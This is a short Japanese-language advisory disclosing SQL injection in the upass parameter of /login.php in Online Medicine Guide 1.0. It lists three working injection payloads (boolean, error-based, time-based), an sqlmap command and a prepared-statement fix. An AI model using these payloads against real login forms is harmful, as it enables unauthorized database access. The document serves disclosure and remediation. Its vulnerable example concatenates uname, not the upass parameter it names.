
code-projects Online Medicine Guide 1.0 はSQLインジェクションに対して脆弱です。
本書は、Online Medicine Guide Webアプリケーションで発見された重大なSQLインジェクションの脆弱性について概説するものです。この脆弱性により、不正なデータベースアクセスが可能となり、アプリケーションとそのユーザーに重大なセキュリティリスクをもたらします。
/login.phpこの脆弱性は、/login.phpファイルにおける入力検証とサニタイズの不備に起因します。アプリケーションは、upassパラメータからのユーザー入力を、適切なサニタイズやプリペアドステートメントなしにSQLクエリへ直接連結しています。
技術的根本原因:
/login.phpupass (POST)POST /login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
uname=uLnf&upass=rZgo' OR NOT 1852=1852-- iPRx
POST /login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
uname=uLnf&upass=rZgo' AND EXTRACTVALUE(4672,CONCAT(0x5c,0x7176707071,(SELECT (ELT(4672=4672,1))),0x71717a7071))-- knKp
POST /login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
uname=uLnf&upass=rZgo' AND (SELECT 2089 FROM (SELECT(SLEEP(5)))zUlY)-- mWfa
この脆弱性はsqlmapを使用して確認されました:
sqlmap -u "http://localhost:8000/login.php" --data="uname=admin&upass=test" -p upass --batch --dbs

upassパラメータの入力検証を実装修正前 (脆弱):
$query = "SELECT * FROM users WHERE username = '" . $_POST['uname'] . "'";
修正後 (安全):
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$_POST['uname']]);
ドキュメントバージョン: 1.0
最終更新日: 2025年10月3日 (dd/mm/yyyy)